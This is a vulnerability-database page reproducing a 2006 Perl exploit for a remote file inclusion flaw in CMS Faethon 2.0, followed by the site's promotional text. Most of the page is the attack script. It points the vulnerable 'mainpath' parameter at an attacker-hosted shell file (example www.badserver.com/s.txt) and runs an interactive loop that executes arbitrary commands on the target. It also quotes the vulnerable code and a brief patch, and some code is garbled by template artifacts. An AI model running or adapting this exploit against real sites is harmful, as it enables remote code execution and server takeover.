Lucene search
K

CMS Faethon <= 2.0 (mainpath) Remote File Include Exploit

🗓️ 25 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

CMS Faethon <= 2.0 Remote File Include Vulnerability Exploit 2006/10/2

Code

                                                #!/usr/bin/perl

#####################################################################################################
#                                                                                                   #
# CMS Faethon 2.0 Ultimate                                                                          #
#                                                                                                   #
# Class:  Remote/Local File Include Vulnerability                                                   #
#                                                                                                   #
# Date:   2006/10/24                                                                                #
#                                                                                                   #
# Remote: Yes                                                                                       #
#                                                                                                   #
# Type:   Highly critical                                                                           #
#                                                                                                   #
# Vendor: www.cmsfaethon.org                                                                	    #
#                                                                                                   #
# Download: http://cmsfaethon.org/downloads/                                            	    #
#                                                                                                   #
# Note: Successful exploitation requires register_globals = on and magic_quotes_gpc = on            #
#                                                                                                   #
# Discovered &amp; Exploit by: r0ut3r (writ3r [at] gmail.com)                                           #
#                                                                                                   #
# Exploit: cmsfaethon2_xpl.pl                                                                       #
#                                                                                                   #
# Vulnerable code config.php                                                                        #
# require($mainpath . '../config.php');                                                             #
#                                                                                                   #
# Vulnerable code rss-reader.php                                                                    #
# if(isset(___FCKpd___0
GET['rss'])) { $source = ___FCKpd___0
GET['rss']; }                                               #
#                                                                                                   #
# // include lastRSS                                                                                #
# include($mainpath.'lib/class.lastrss.php');                                                       #
# include($mainpath.'lib/functions_AutoCzech.php');                                                 #
#                                                                                                   #
# Comments:                                                                                         #
# Whats happenin tgo.                                                                               #
# Good lookin out with that last exploit too str0ke                                                 #
#                                                                                                   #
#####################################################################################################

use LWP::UserAgent;
use LWP::Simple

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = &quot;/admin/config.php?mainpath=&quot;;
}
elsif ($fileno eq 2)
{
    $file = &quot;/includes/rss-reader.php?mainpath=&quot;;
}
else
{
    $file = &quot;/admin/config.php?mainpath=&quot;;
}

if (@ARGV[5] eq &quot;-p&quot;)
    {
    print q
    {
########################################################################
            Apply the following code to both files below:
1: admin/config.php
2: includes/rss-reader.php

if(basename(__FILE__) == basename(___FCKpd___0
SERVER['PHP_SELF']))
    die();

NOTE: Patch hasn't been tested, but it should work. The code denies
direct access to the files it is applied to.
########################################################################
    }
    }

print &quot;Type 'exit' to quit&quot;;
print &quot;[cmd]\___FCKpd___0quot;;
$cmd = &lt;STDIN&gt;;

while ($cmd !~ &quot;exit&quot;)
{
    $xpl = LWP::UserAgent-&gt;new() or die;
        $req =
HTTP::Request-&gt;new(GET=&gt;$target.$file.$shellsite.'?&amp;'$shellcmd.'='.$cmd)
or die(&quot;\n\n Failed to connect.&quot;);
        $res = $xpl-&gt;request($req);
        $r = $res-&gt;content;
        $r =~ tr/[\n]/[&amp;#234;]/;

    if (@ARGV[4] eq &quot;-r&quot;)
    {
        print $r;
    }

    print &quot;[cmd]\___FCKpd___0quot;;
    $cmd = &lt;STDIN&gt;;
}

sub header()
{
    print q
    {
########################################################################
        CMS Faethon 2.0 Ultimate - Remote File Include Exploit
            Vulnerability discovered and exploit by r0ut3r
                        writ3r [at] gmail.com
          For CMS Faethon administrator testing purposes only!
########################################################################
    };
}

sub usage()
{
    header();
    print q
    {
########################################################################
Usage:
perl cmsfaethon2_xpl.pl &lt;Target website&gt; &lt;Shell Location&gt; &lt;CMD Variable&gt; &lt;f&gt; &lt;-r&gt; &lt;-p&gt;
&lt;Target Website&gt; - Path to target eg: www.faethon.target.com
&lt;Shell Location&gt; - Path to shell eg: www.badserver.com/s.txt
&lt;CMD Variable&gt; - Shell command variable name eg: cmd
&lt;f&gt; - Vulnerable file number, corresponding to:
1: config.php
2: rss-reader.php
&lt;r&gt; - Show output from shell
&lt;p&gt; - Display patch
Example:
perl cmsfaethon2_xpl.pl http://localhost http://localhost/s.txt cmd 1 -r -p
########################################################################
    };
    exit();
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation